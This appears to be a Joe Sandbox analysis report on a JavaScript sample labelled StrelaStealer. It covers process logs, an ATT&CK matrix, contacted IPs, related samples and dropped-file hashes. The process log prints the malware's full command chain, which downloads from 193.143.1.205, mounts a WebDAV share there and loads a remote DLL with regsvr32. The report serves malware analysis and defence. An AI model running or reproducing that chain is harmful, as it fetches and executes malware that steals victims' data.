Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	132 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
152068002360415087.js	5%	Virustotal		Browse
152068002360415087.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/#	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000006.00000002.1756709958.00000136FDB30000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2972840610.000001D4DDC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1756784765.00000136FDB59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1756320016.00000136FDB7A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/#	net.exe, 00000006.00000002.1756709958.00000136FDB30000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588544
Start date and time:	2025-01-11 02:14:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	152068002360415087.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.22.242.11, 2.22.242.123, 184.28.88.176, 162.159.61.3, 172.64.41.3, 52.22.41.97, 3.219.243.226, 52.6.155.20, 3.233.129.217, 23.209.209.135, 199.232.210.172, 184.28.90.27, 2.16.168.105, 2.16.168.107, 54.224.241.105, 52.149.20.212, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:15:51	API Interceptor	27x Sleep call for process: powershell.exe modified
20:15:55	API Interceptor	1x Sleep call for process: net.exe modified
20:15:56	API Interceptor	2x Sleep call for process: svchost.exe modified
20:16:04	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	795324045931728678.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2314572873239327086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3048426634198639173.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1627923942308705884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073444187529266
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrG:KooCEYhgYEL0In
MD5:	8C945F106CFE2D9FBC6FDF1D6083ECB8
SHA1:	D8C0625B651B7AD2FB964B48EF01C3AC7505EACC
SHA-256:	86F67727D3BE07B7246193EB2F2E3FEC2BAE84C995EC2166EA55BE1D2AB33B37
SHA-512:	C11BA03EDE8F75054CB5B753D86EEDFBC53FEDCF6B6616C0A0E5BB05547C93832646067FA9570DB75A5C0D6C6358C2616741F85A10D8DD8613107BD94B0F122B
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4d600d39, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220846812228398
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	630708979B24B64366F3799D922D49F4
SHA1:	4FFA495EFD264889FB08D73C9282812360633EB1
SHA-256:	080055B5A24FF968C1438384DBEFF73D24CF7135222619DA41EC3B5DF018BC36
SHA-512:	F0D35A5A9A0ABB5E561664D348E7AC61154F890D68DA6D8A584BBB8344CE90991A232C943BD1D238B93F465F35313C0416ACD88D0151D40F4B71F801F37E1B36
Malicious:	false
Preview:	M`.9... .......A.......X\...;...{......................0.!..........{A.:....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................].%Q:....}..................nV.z:....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07517582255000373
Encrypted:	false
SSDEEP:	3:IEYeoz0CCjn13a/gn8qllcVO/lnlZMxZNQl:XzU0x53qg5Oewk
MD5:	3A9EA0A3125F3A9E63B0E87F72DDCBC4
SHA1:	5C0840D97E5D919A36544613A041769B7DF95792
SHA-256:	D057CD81A04B13848B06E21C85C6D511817E250A2E5B300C27FDA84D3BEF2425
SHA-512:	157CD89A872B2E1CDD3E08447379E3CD138B363AA9220D3505D8D1C42E9864ABDD1F266FA483A3F7A600C1478DC7236B54661DF52234E2532109740EF066085A
Malicious:	false
Preview:	].Lx.....................................;...{..:....}.......{A..............{A......{A..........{A]................nV.z:....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.176540214675534
Encrypted:	false
SSDEEP:	6:iO4qVpcc1q2Pwkn2nKuAl9OmbnIFUtSqVpcecNZmwsqVpcec/kwOwkn2nKuAl9Oe:7nq2vYfHAahFUtZqeG/Lqe65JfHAaSJ
MD5:	D633BECAF8FF493FEF51FD759871E2AA
SHA1:	948A2EAE7C34F1F039743528DA45FF0037800AB9
SHA-256:	B477F1B9583748B40840FC00D813B4402B21F8628981AEE61E1682CD3BF951FE
SHA-512:	4CBAE3B858F85F915E5A2E50F6510FC0A59AE5EBAF75C56E0672AD95934D0A3F7EBB594777ED779D0FDD1C145BD0CFF2EC388A6FA53BBAF0DA4D1C5EF0ECF7E2
Malicious:	false
Preview:	2025/01/10-20:15:56.653 1c24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:15:56.671 1c24 Recovering log #3.2025/01/10-20:15:56.671 1c24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.176540214675534
Encrypted:	false
SSDEEP:	6:iO4qVpcc1q2Pwkn2nKuAl9OmbnIFUtSqVpcecNZmwsqVpcec/kwOwkn2nKuAl9Oe:7nq2vYfHAahFUtZqeG/Lqe65JfHAaSJ
MD5:	D633BECAF8FF493FEF51FD759871E2AA
SHA1:	948A2EAE7C34F1F039743528DA45FF0037800AB9
SHA-256:	B477F1B9583748B40840FC00D813B4402B21F8628981AEE61E1682CD3BF951FE
SHA-512:	4CBAE3B858F85F915E5A2E50F6510FC0A59AE5EBAF75C56E0672AD95934D0A3F7EBB594777ED779D0FDD1C145BD0CFF2EC388A6FA53BBAF0DA4D1C5EF0ECF7E2
Malicious:	false
Preview:	2025/01/10-20:15:56.653 1c24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:15:56.671 1c24 Recovering log #3.2025/01/10-20:15:56.671 1c24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.185044569937618
Encrypted:	false
SSDEEP:	6:iO4qVpc2R+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqVpc0gXWZmwsqVpczZNVkwOwknV:7nqM+vYfHAa8uFUtZqbXW/LqzZNV5Jfg
MD5:	46FE2A9AB3FF4D32F902C0653ABDB5EB
SHA1:	A90F23AADC2C80FD1363679CDA186F424ED9770E
SHA-256:	AF8645123712BCFA467FF294B292982932EF2502A5A3AF735EDEA36D2218CBEB
SHA-512:	7A325A8D32C19798CD37B4716D34C13995F7D08FA47549BAE8CC6C067095DE8833925152FD2579FD997725F6365564CF5648779D486D9B7B96510391CFA5C2B9
Malicious:	false
Preview:	2025/01/10-20:15:56.785 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:15:56.787 1d3c Recovering log #3.2025/01/10-20:15:56.788 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.185044569937618
Encrypted:	false
SSDEEP:	6:iO4qVpc2R+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqVpc0gXWZmwsqVpczZNVkwOwknV:7nqM+vYfHAa8uFUtZqbXW/LqzZNV5Jfg
MD5:	46FE2A9AB3FF4D32F902C0653ABDB5EB
SHA1:	A90F23AADC2C80FD1363679CDA186F424ED9770E
SHA-256:	AF8645123712BCFA467FF294B292982932EF2502A5A3AF735EDEA36D2218CBEB
SHA-512:	7A325A8D32C19798CD37B4716D34C13995F7D08FA47549BAE8CC6C067095DE8833925152FD2579FD997725F6365564CF5648779D486D9B7B96510391CFA5C2B9
Malicious:	false
Preview:	2025/01/10-20:15:56.785 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:15:56.787 1d3c Recovering log #3.2025/01/10-20:15:56.788 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\65a54c94-7ecf-47e5-ac89-5134a4fea732.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.95267446331274
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqA8XhsBdOg2Hscaq3QYiubInP7E4T3y:Y2sRdsYidMHP3QYhbG7nby
MD5:	A8A52965C1E62CBF9FD0DF829595A243
SHA1:	7AE80D9EB338FD8E3F990AE61535D7774C9F1079
SHA-256:	03ADB123C912AE7B50D80745A9CEFB88C6BBDBCC82692CB51946486DFE4B476A
SHA-512:	CF408E4E963CA86778E8F873858B1966AA60F3F3F2C110F0268DB751CE73108815AF7812A09AAFB518492F11C253110CF97C1278DBECA20B9F98BDD5D0372F0E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118167307364","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123141},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3cb244.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ef0a102a-7a43-4298-82e5-6b997a855cba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.25809606835586
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7anksze:etJCV4FiN/jTN/2r8Mta02fEhgO73gof
MD5:	5E3B10F5B7F918956F266722DDC2C7E0
SHA1:	69DBFC75D8D483B2EC78350D6BCF8D960D32FC29
SHA-256:	059EF23C1BDA5406A55120284243A6CCAC63BB8ACE894B7B0738817F4B7DE23D
SHA-512:	AC271AF5A34A92956367C40CC11101B6E285AADBF73F9716C8F1F97B45A6BA31581636ACEC60D6431B231AC68C875D142AAA23B0D91861A6A5512EB98F14464D
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.139847812249708
Encrypted:	false
SSDEEP:	6:iO4qVp8++q2Pwkn2nKuAl9OmbzNMxIFUtSqVpnzkWZmwsqVphRVkwOwkn2nKuAlG:7n2++vYfHAa8jFUtZlzkW/LPRV5JfHAo
MD5:	E61E250E09E902000DA388B77B2DEA47
SHA1:	6BB79264F1F8C49E1CA20EFD6CCEAB2A1E0A1235
SHA-256:	2FB7F850D7CE4B70E9CDC393E39161768F3678072438AF0E40E83CC3D11FABBE
SHA-512:	2CDE4DB340B4A03C5772AD3F75BB23143FBBB69CD5AE12873371D9997CF3B476C4609226DADBAF0B7C56C1B35368FE905DB771514867C734DBABBE9622B50851
Malicious:	false
Preview:	2025/01/10-20:15:57.012 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:15:57.047 1d3c Recovering log #3.2025/01/10-20:15:57.054 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.139847812249708
Encrypted:	false
SSDEEP:	6:iO4qVp8++q2Pwkn2nKuAl9OmbzNMxIFUtSqVpnzkWZmwsqVphRVkwOwkn2nKuAlG:7n2++vYfHAa8jFUtZlzkW/LPRV5JfHAo
MD5:	E61E250E09E902000DA388B77B2DEA47
SHA1:	6BB79264F1F8C49E1CA20EFD6CCEAB2A1E0A1235
SHA-256:	2FB7F850D7CE4B70E9CDC393E39161768F3678072438AF0E40E83CC3D11FABBE
